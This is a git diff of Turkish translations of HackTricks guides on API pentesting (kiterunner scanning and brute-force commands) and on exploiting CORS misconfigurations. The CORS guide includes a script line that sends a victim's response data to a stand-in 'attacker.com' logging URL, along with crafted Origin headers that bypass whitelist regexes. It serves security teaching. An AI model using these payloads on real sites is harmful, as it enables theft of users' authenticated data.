API'leri pentest etmek, zayıflıkları ortaya çıkarmak için yapılandırılmış bir yaklaşım gerektirir. Bu kılavuz, pratik teknikler ve araçlara vurgu yaparak kapsamlı bir metodolojiyi kapsar.
API'leri pentest etmek, zayıflıkları ortaya çıkarmak için yapılandırılmış bir yaklaşım gerektirir. Bu kılavuz, pratik teknikler ve araçlara vurgu yaparak kapsamlı bir metodolojiyi özetlemektedir.
### **API Türlerini Anlamak**
* **SOAP/XML Web Servisleri**: Dokümantasyon için genellikle `?wsdl` yollarında bulunan WSDL formatını kullanır. **SOAPUI** ve **WSDLer** (Burp Suite Eklentisi) gibi araçlar, istekleri ayrıştırmak ve oluşturmak için önemlidir. Örnek dokümantasyon [DNE Online](http://www.dneonline.com/calculator.asmx) adresinde mevcuttur.
* **REST API'leri (JSON)**: Dokümantasyon genellikle WADL dosyalarında gelir, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar etkileşim için daha kullanıcı dostu bir arayüz sunar. **Postman**, örnek istekleri oluşturmak ve yönetmek için değerli bir araçtır.
* **GraphQL**: API'ler için, API'nizdeki verilerin tam ve anlaşılır bir tanımını sunan bir sorgu dilidir.
* **SOAP/XML Web Servisleri**: Belgelendirme için genellikle `?wsdl` yollarında bulunan WSDL formatını kullanır. **SOAPUI** ve **WSDLer** (Burp Suite Eklentisi) gibi araçlar, istekleri ayrıştırmak ve oluşturmak için önemlidir. Örnek belgeler [DNE Online](http://www.dneonline.com/calculator.asmx) adresinde mevcuttur.
* **REST API'leri (JSON)**: Belgelendirme genellikle WADL dosyalarında gelir, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar etkileşim için daha kullanıcı dostu bir arayüz sunar. **Postman**, örnek istekleri oluşturmak ve yönetmek için değerli bir araçtır.
* **GraphQL**: API'ler için veri hakkında tam ve anlaşılır bir tanım sunan bir sorgu dilidir.
### **Pratik Laboratuvarlar**
@ -38,11 +38,11 @@ API'leri pentest etmek, zayıflıkları ortaya çıkarmak için yapılandırılm
### **API Pentesting için Etkili İpuçları**
* **SOAP/XML Zayıflıkları**: XXE zayıflıklarını keşfedin, ancak DTD bildirimleri genellikle kısıtlıdır. XML geçerli kaldığı sürece CDATA etiketleri yük eklemeye izin verebilir.
* **SOAP/XML Zayıflıkları**: XXE zayıflıklarını keşfedin, ancak DTD bildirimleri genellikle kısıtlıdır. XML geçerli kaldığı sürece CDATA etiketleri yükleme eklemeye izin verebilir.
* **Yetki Yükseltme**: Yetkisiz erişim olasılıklarını belirlemek için farklı yetki seviyelerine sahip uç noktaları test edin.
* **CORS Yanlış Yapılandırmaları**: Kimlik doğrulama oturumlarından CSRF saldırıları yoluyla potansiyel istismar edilebilirlik için CORS ayarlarını araştırın.
* **Uç Nokta Keşfi**: Gizli uç noktaları keşfetmek için API desenlerinden yararlanın. Fuzzer gibi araçlar bu süreci otomatikleştirebilir.
* **Parametre Manipülasyonu**: Yetkisiz verilere veya işlevlere erişmek için isteklerde parametre eklemeyi veya değiştirmeyi deneyin.
* **CORS Yanlış Yapılandırmaları**: Kimlik doğrulama oturumlarından CSRF saldırıları yoluyla potansiyel istismar için CORS ayarlarını araştırın.
* **Uç Nokta Keşfi**: Gizli uç noktaları keşfetmek için API desenlerini kullanın. Fuzzer gibi araçlar bu süreci otomatikleştirebilir.
* **Parametre Manipülasyonu**: Yetkisiz verilere veya işlevlere erişmek için isteklere parametre eklemeyi veya değiştirmeyi deneyin.
* **HTTP Yöntemi Testi**: Beklenmedik davranışları veya bilgi sızıntılarını ortaya çıkarmak için istek yöntemlerini (GET, POST, PUT, DELETE, PATCH) değiştirin.
* **İçerik Türü Manipülasyonu**: Ayrıştırma sorunları veya zayıflıkları test etmek için farklı içerik türleri (x-www-form-urlencoded, application/xml, application/json) arasında geçiş yapın.
* **Gelişmiş Parametre Teknikleri**: JSON yüklerinde beklenmedik veri türleri ile test edin veya XXE enjeksiyonları için XML verileri ile oynayın. Ayrıca, daha geniş testler için parametre kirliliği ve joker karakterler deneyin.
@ -50,13 +50,14 @@ API'leri pentest etmek, zayıflıkları ortaya çıkarmak için yapılandırılm
### **API Pentesting için Araçlar ve Kaynaklar**
* [**kiterunner**](https://github.com/assetnote/kiterunner): API uç noktalarını keşfetmek için mükemmel. Hedef API'lere karşı yolları ve parametreleri taramak ve brute force yapmak için kullanın.
* [**kiterunner**](https://github.com/assetnote/kiterunner): API uç noktalarını keşfetmek için mükemmel. Hedef API'lere karşı yolları ve parametreleri taramak ve kaba kuvvetle denemek için kullanın.
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
* [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj, **açık Swagger/OpenAPI tanım dosyaları** ile ilgili API uç noktalarını zayıf kimlik doğrulama açısından kontrol ederek denetim yapmaya yardımcı olmak için tasarlanmış bir komut satırı aracıdır. Ayrıca manuel zafiyet testleri için komut şablonları sağlar.
* **automatic-api-attack-tool**, **Astra** ve **restler-fuzzer** gibi ek araçlar, saldırı simülasyonundan fuzzing ve zafiyet taramasına kadar API güvenlik testleri için özel işlevler sunar.
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS dosyasına dayalı olarak API'nizi denetleyen bir API güvenlik aracıdır (araç rust ile yazılmıştır).
@ -73,21 +74,21 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) kullanın.\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,15 +1,15 @@
# CORS - Yanlış Yapılandırmalar & Atlatma
# CORS - Yanlış Yapılandırmalar & Bypass
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -23,30 +23,30 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
Cross-Origin Resource Sharing (CORS) standardı, **sunucuların varlıklarına kimin erişebileceğini** ve **hangi HTTP istek yöntemlerinin dış kaynaklardan izin verildiğini** tanımlamasını sağlar.
**Aynı köken** politikası, bir **kaynak talep eden** sunucu ile **kaynağı** barındıran sunucunun aynı protokolü (örneğin, `http://`), alan adını (örneğin, `internal-web.com`) ve **portu** (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı alan adı ve porttan gelen web sayfalarının kaynaklara erişmesine izin verilir.
**Aynı köken** politikası, bir **kaynağı talep eden** sunucu ile **kaynağı barındıran** sunucunun aynı protokolü (örneğin, `http://`), alan adını (örneğin, `internal-web.com`) ve **portu** (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı alan adı ve porttan gelen web sayfalarının kaynaklara erişmesine izin verilir.
`http://normal-website.com/example/example.html` bağlamında aynı köken politikasının uygulanışı aşağıdaki gibi gösterilmektedir:
| Erişilen URL | Erişime izin verildi mi? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Evet: Aynı şema, alan adı ve port |
| `http://normal-website.com/example2/` | Evet: Aynı şema, alan adı ve port |
| `https://normal-website.com/example/` | Hayır: Farklı şema ve port |
| `http://en.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://www.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://normal-website.com:8080/example/` | Hayır: Farklı port\* |
| Erişilen URL | Erişim izni var mı? |
| ----------------------------------------- | ----------------------------------------- |
| `http://normal-website.com/example/` | Evet: Aynı şema, alan adı ve port |
| `http://normal-website.com/example2/` | Evet: Aynı şema, alan adı ve port |
| `https://normal-website.com/example/` | Hayır: Farklı şema ve port |
| `http://en.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://www.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://normal-website.com:8080/example/` | Hayır: Farklı port\* |
\*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.
### `Access-Control-Allow-Origin` Başlığı
Bu başlık, **birden fazla köken** izin verebilir, **`null`** değeri veya joker karakter **`*`** içerebilir. Ancak, **hiçbir tarayıcı birden fazla kökeni desteklemez** ve joker karakter `*` kullanımı **sınırlamalara** tabidir. (Joker karakter yalnızca tek başına kullanılmalı ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımı yasaktır.)
Bu başlık, **birden fazla kökeni**, **`null`** değerini veya bir joker karakter **`*`** içerebilir. Ancak, **hiçbir tarayıcı birden fazla kökeni desteklemez** ve joker karakter `*` kullanımı **sınırlamalara** tabidir. (Joker karakter yalnız başına kullanılmalı ve `Access-Control-Allow-Credentials: true` ile birlikte kullanılması yasaktır.)
Bu başlık, bir web sitesi tarafından başlatılan bir çapraz alan kaynak talebine yanıt olarak **bir sunucu tarafından verilir**, tarayıcı otomatik olarak bir `Origin` başlığı ekler.
### `Access-Control-Allow-Credentials` Başlığı
**Varsayılan olarak**, çapraz köken talepleri, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz alan sunucusu, `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir.
**Varsayılan olarak**, çapraz köken istekleri, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz alan sunucusu, `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir.
`true` olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.
```javascript
@ -79,11 +79,11 @@ xhr.send('<person><name>Arun</name></person>');
### Çapraz Alan İletişiminde Ön Uçuş İsteklerini Anlamak
Belirli koşullar altında, örneğin **standart dışı bir HTTP yöntemi** (HEAD, GET, POST dışındaki herhangi bir şey) kullanıldığında, yeni **başlıklar** tanıtıldığında veya özel bir **Content-Type başlık değeri** kullanıldığında, bir ön uçuş isteği gerekli olabilir. **`OPTIONS`** yöntemini kullanan bu ön isteği, sunucuya yaklaşan çapraz alan isteğinin niyetlerini, kullanmayı planladığı HTTP yöntemleri ve başlıklar dahil olmak üzere, bildirmek için kullanılır.
Belirli koşullar altında, örneğin **standart olmayan bir HTTP yöntemi** (HEAD, GET, POST dışındaki herhangi bir şey) kullanıldığında, yeni **başlıklar** tanıtıldığında veya özel bir **Content-Type başlık değeri** kullanıldığında, bir ön uçuş isteği gerekli olabilir. **`OPTIONS`** yöntemini kullanan bu ön isteği, sunucuya yaklaşan çapraz köken isteğinin niyetlerini, kullanmayı planladığı HTTP yöntemleri ve başlıklar dahil olmak üzere, bildirmek için kullanılır.
**Çapraz Alan Kaynak Paylaşımı (CORS)** protokolü, istenen çapraz alan işleminin uygulanabilirliğini belirlemek için izin verilen yöntemleri, başlıkları ve kaynağın güvenilirliğini doğrulamak amacıyla bu ön uçuş kontrolünü zorunlu kılar. Ön uçuş isteği gereksinimini ortadan kaldıran koşulları detaylı bir şekilde anlamak için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun.
**Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, istenen çapraz köken işleminin uygulanabilirliğini belirlemek için izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrulamak amacıyla bu ön uçuş kontrolünü zorunlu kılar. Ön uçuş isteği gereksinimini ortadan kaldıran koşulları detaylı bir şekilde anlamak için [**Mozilla Geliştirici Ağı (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun.
**Ön uçuş isteğinin yokluğunun, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** belirtmek önemlidir. Bu başlıklar olmadan, tarayıcı çapraz alan isteğinden gelen yanıtı işleme yeteneğini kaybeder.
**Ön uçuş isteğinin yokluğunun, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** belirtmek önemlidir. Bu başlıklar olmadan, tarayıcı çapraz köken isteğinden gelen yanıtı işleme yeteneğini kaybeder.
`PUT` yöntemini ve `Special-Request-Header` adlı özel bir başlığı kullanmayı amaçlayan bir ön uçuş isteğinin aşağıdaki örneğine bakın:
```
@ -106,17 +106,17 @@ Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Bu başlık, gerçek istekte hangi başlıkların kullanılabileceğini belirtir. Sunucu tarafından, istemciden gelen isteklere izin verilen başlıkları göstermek için ayarlanır.
* **`Access-Control-Expose-Headers`**: Bu başlık aracılığıyla sunucu, istemciye basit yanıt başlıklarının yanı sıra hangi başlıkların yanıtın bir parçası olarak açığa çıkarılabileceğini bildirir.
* **`Access-Control-Max-Age`**: Bu başlık, bir ön uç isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini gösterir. Sunucu, bir ön uç isteği tarafından döndürülen bilginin yeniden kullanılabileceği maksimum süreyi, saniye cinsinden ayarlar.
* **`Access-Control-Request-Headers`**: Ön uç isteklerinde kullanılan bu başlık, istemci tarafından sunucuya hangi HTTP başlıklarını kullanmak istediğini bildirmek için ayarlanır.
* **`Access-Control-Request-Method`**: Ön uç isteklerinde de kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
* **`Origin`**: Bu başlık, tarayıcı tarafından otomatik olarak ayarlanır ve çapraz kaynak isteğinin kaynağını gösterir. Sunucu, gelen isteğin CORS politikası temelinde izin verilip verilmeyeceğini değerlendirmek için kullanır.
* **`Access-Control-Max-Age`**: Bu başlık, bir ön uç isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini gösterir. Sunucu, bir ön uç isteği tarafından döndürülen bilginin yeniden kullanılabileceği maksimum süreyi, saniye cinsinden ayarlar.
* **`Access-Control-Request-Headers`**: Ön uç isteklerinde kullanılan bu başlık, istemci tarafından sunucuya hangi HTTP başlıklarını kullanmak istediğini bildirmek için ayarlanır.
* **`Access-Control-Request-Method`**: Ön uç isteklerinde de kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
* **`Origin`**: Bu başlık, tarayıcı tarafından otomatik olarak ayarlanır ve çapraz kaynak isteğinin kaynağını gösterir. Sunucu, gelen isteğin CORS politikasına göre izin verilip verilmeyeceğini değerlendirmek için kullanır.
Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) bir **GET/POST isteğinde ön uç isteği gönderilmez** (istek **doğrudan** gönderilir), ancak **yanıtın başlıklarına/gövdesine** erişmek istiyorsanız, bunu izin veren bir _Access-Control-Allow-Origin_ başlığı içermelidir.\
Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) bir **GET/POST isteğinde ön uç isteği gönderilmez** (istek **doğrudan** gönderilir), ancak **yanıtın başlıklarına/gövdesine erişmek** istiyorsanız, bunu izin veren bir _Access-Control-Allow-Origin_ başlığı içermelidir.\
**Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ama yardımcı olabilir).**
### **Yerel Ağ İstekleri Ön Uç İsteği**
### **Yerel Ağ İstekleri Ön Uç İsteği**
1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğine dahil edilerek sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya, isteğin yerel ağdan geldiğini bildiren bir işaret olarak hizmet eder.
1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğinde yerel ağ kaynağına yönelik bir sorgu olduğunu belirtmek için dahil edilir. İsteğin yerel ağdan geldiğini sunucuya bildiren bir işaret görevi görür.
2. **`Access-Control-Allow-Local-Network`**: Sunucular, yanıt olarak bu başlığı kullanarak istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletir. Farklı ağ sınırları arasında kaynakların paylaşımına yeşil ışık yakarak, güvenlik protokollerini korurken kontrollü erişim sağlar.
Yerel ağ isteğini izin veren **geçerli bir yanıt**, yanıtta `Access-Controls-Allow-Local_network: true` başlığını da içermelidir:
@ -131,22 +131,31 @@ Content-Length: 0
...
```
{% hint style="warning" %}
Not edin ki linux **0.0.0.0** IP'si, bu IP adresi "yerel" olarak kabul edilmediği için localhost'a erişim için bu gereksinimleri **bypass** etmekte işe yarar.
Linux **0.0.0.0** IP'sinin, bu gereksinimleri **bypass** etmek için localhost'a erişim sağlamak için çalıştığını unutmayın, çünkü bu IP adresi "yerel" olarak kabul edilmez.
Ayrıca, **yerel bir uç noktanın** (örneğin, yönlendiricinin genel IP'si) **genel IP adresini** kullanırsanız **Yerel Ağ gereksinimlerini bypass etmek** de mümkündür. Çünkü birçok durumda, **genel IP** erişilse bile, eğer **yerel ağdan** geliyorsa, erişim sağlanacaktır.
Ayrıca, **yerel bir uç noktanın** **genel IP adresini** (örneğin, yönlendiricinin genel IP'si) kullanırsanız **Yerel Ağ gereksinimlerini bypass etmek** de mümkündür. Çünkü birçok durumda, **genel IP** erişilse bile, eğer **yerel ağdan** geliyorsa, erişim sağlanacaktır.
{% endhint %}
### Wildcards
Aşağıdaki yapılandırmanın süper izin verici görünebileceğini unutmayın:
```bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```
Bu, tarayıcılar tarafından izin verilmez ve bu nedenle kimlik bilgileri bu istekle gönderilmeyecektir.
## Sömürülebilir yanlış yapılandırmalar
`Access-Control-Allow-Credentials` ayarının **`true`** olarak ayarlanmasının, çoğu **gerçek saldırı** için bir ön koşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin vererek saldırının etkinliğini artırır. Bunu olmadan, bir tarayıcının bir istek yapmasının faydası, bir kullanıcının çerezlerini kullanmanın imkansız hale gelmesi nedeniyle azalır.
`Access-Control-Allow-Credentials` ayarının **`true`** olarak ayarlanmasının çoğu **gerçek saldırıların** ön koşulu olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin vererek saldırının etkinliğini artırır. Bunu olmadan, bir tarayıcının istek yapmasının sağladığı avantaj, bir kullanıcının çerezlerini kullanmanın imkansız hale gelmesi nedeniyle azalır.
### İstisna: Ağ Konumunu Kimlik Doğrulama Olarak Kullanma
### İstisna: Ağ Konumunu Kimlik Doğrulama Olarak Sömürme
Kurbanın ağ konumunun bir kimlik doğrulama biçimi olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına ve intranet uygulamalarına erişim için IP tabanlı kimlik doğrulamayı aşmasına olanak tanır. Bu yöntem, DNS rebinding ile benzer etkilere sahiptir ancak sömürmesi daha basittir.
Kurbanın ağ konumunun bir kimlik doğrulama biçimi olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına ve IP tabanlı kimlik doğrulamanın atlatılmasına olanak tanır, böylece intranet uygulamalarına erişim sağlanır. Bu yöntem, DNS yeniden bağlama ile benzer etkilere sahiptir ancak sömürmesi daha basittir.
### `Origin`'in `Access-Control-Allow-Origin`'de Yansıması
`Origin` başlığının değeri `Access-Control-Allow-Origin`'de yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Ancak, birden fazla URL için CORS'u etkinleştirmek isteyen geliştiriciler, `Origin` başlığının değerini kopyalayarak `Access-Control-Allow-Origin` başlığını dinamik olarak oluşturabilirler. Bu yaklaşım, bir saldırganın meşru görünmek üzere tasarlanmış bir isimle bir alan adı kullanması durumunda, doğrulama mantığını yanıltarak güvenlik açıkları oluşturabilir.
Gerçek dünyadaki senaryoda `Origin` başlığının değeri `Access-Control-Allow-Origin`'de yansıtıldığında, bu teorik olarak bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle olası değildir. Ancak, birden fazla URL için CORS'u etkinleştirmek isteyen geliştiriciler, `Origin` başlığının değerini kopyalayarak `Access-Control-Allow-Origin` başlığını dinamik olarak oluşturabilirler. Bu yaklaşım, bir saldırganın meşru görünmek üzere tasarlanmış bir alan adı kullanması durumunda, doğrulama mantığını yanıltarak zafiyetler oluşturabilir.
```html
<script>
var req = new XMLHttpRequest();
@ -189,7 +198,7 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### Regular Expression Bypass Techniques
Bir alan beyaz listesinin karşısına çıktığınızda, saldırganın alanını beyaz listeye alınmış bir alana eklemek veya alt alan ele geçirme açıklarını istismar etmek gibi geçiş fırsatlarını test etmek çok önemlidir. Ayrıca, alan doğrulaması için kullanılan düzenli ifadeler, alan adlandırma kurallarındaki incelikleri gözden kaçırabilir ve bu da daha fazla geçiş fırsatı sunar.
Bir alan beyaz listesi ile karşılaşıldığında, saldırganın alanını beyaz listeye alınmış bir alana eklemek veya alt alan ele geçirme açıklarını istismar etmek gibi geçiş fırsatlarını test etmek çok önemlidir. Ayrıca, alan doğrulaması için kullanılan düzenli ifadeler, alan adlandırma kurallarındaki incelikleri gözden kaçırabilir ve bu da daha fazla geçiş fırsatı sunar.
### Advanced Regular Expression Bypasses
@ -201,9 +210,9 @@ Regex desenleri genellikle alfanümerik, nokta (.) ve tire (-) karakterlerine od
### From XSS inside a subdomain
Geliştiriciler genellikle CORS istismarına karşı koruma sağlamak için, bilgi talep etmeye izin verilen alanları beyaz listeye alarak savunma mekanizmaları uygular. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listeye alınmış alanlar içinde tek bir savunmasız alt alanın varlığı, XSS (Cross-Site Scripting) gibi diğer açıklar aracılığıyla CORS istismarına kapı açabilir.
Geliştiriciler, CORS istismarına karşı koruma sağlamak için, bilgi talep etmeye izin verilen alanları beyaz listeye alarak savunma mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listeye alınmış alanlar içinde tek bir savunmasız alt alanın varlığı, XSS (Cross-Site Scripting) gibi diğer açıklar aracılığıyla CORS istismarına kapı açabilir.
Örneğin, `requester.com` adlı bir alanın, `provider.com` adlı başka bir alandan kaynaklara erişmek için beyaz listeye alındığı senaryoyu düşünün. Sunucu tarafı yapılandırması muhtemelen şöyle görünebilir:
Örneğin, `requester.com` adlı bir alanın, `provider.com` adlı başka bir alandan kaynaklara erişmek için beyaz listeye alındığı senaryoyu düşünelim. Sunucu tarafı yapılandırması muhtemelen şöyle görünebilir:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -213,11 +222,40 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
```
Bu kurulumda, `requester.com`'un tüm alt alan adlarına erişim izni verilmektedir. Ancak, bir alt alan adı, örneğin `sub.requester.com`, bir XSS açığı ile tehlikeye girerse, bir saldırgan bu zayıflıktan yararlanabilir. Örneğin, `sub.requester.com`'a erişimi olan bir saldırgan, XSS açığını kullanarak CORS politikalarını atlayabilir ve `provider.com` üzerindeki kaynaklara kötü niyetle erişebilir.
### **Özel Karakterler**
PortSwiggerın [URL doğrulama atlatma kılavuzu](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet), bazı tarayıcıların alan adları içinde garip karakterleri desteklediğini bulmuştur.
Chrome ve Firefox, `Origin` başlığını doğrulamak için uygulanan regex'leri atlayabilen alt çizgileri `_` desteklemektedir:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
```
```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
```
Safari, alan adında özel karakterleri kabul etme konusunda daha da gevşektir:
```
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
```
```
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **Sunucu tarafı önbellek zehirlenmesi**
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
HTTP başlık enjeksiyonu yoluyla sunucu tarafı önbellek zehirlenmesini kullanarak, saklanan bir Cross-Site Scripting (XSS) açığının tetiklenmesi mümkündür. Bu senaryo, bir uygulamanın `Origin` başlığını yasadışı karakterler için temizlemeyi başaramadığında ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zayıflık oluşturur. Bu tarayıcılar (0x0d) değerini meşru bir HTTP başlık sonlandırıcısı olarak kabul eder, bu da HTTP başlık enjeksiyonu zayıflıklarına yol açar.
HTTP başlık enjeksiyonu yoluyla sunucu tarafı önbellek zehirlenmesinden yararlanarak, depolanmış bir Cross-Site Scripting (XSS) açığı oluşturmak mümkündür. Bu senaryo, bir uygulamanın `Origin` başlığını yasadışı karakterler için temizlemekte başarısız olduğu durumlarda ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zayıflık oluşturur. Bu tarayıcılar (0x0d) değerini meşru bir HTTP başlık sonlandırıcısı olarak kabul eder, bu da HTTP başlık enjeksiyonu zayıflıklarına yol açar.
`Origin` başlığının manipüle edildiği aşağıdaki isteği düşünün:
```
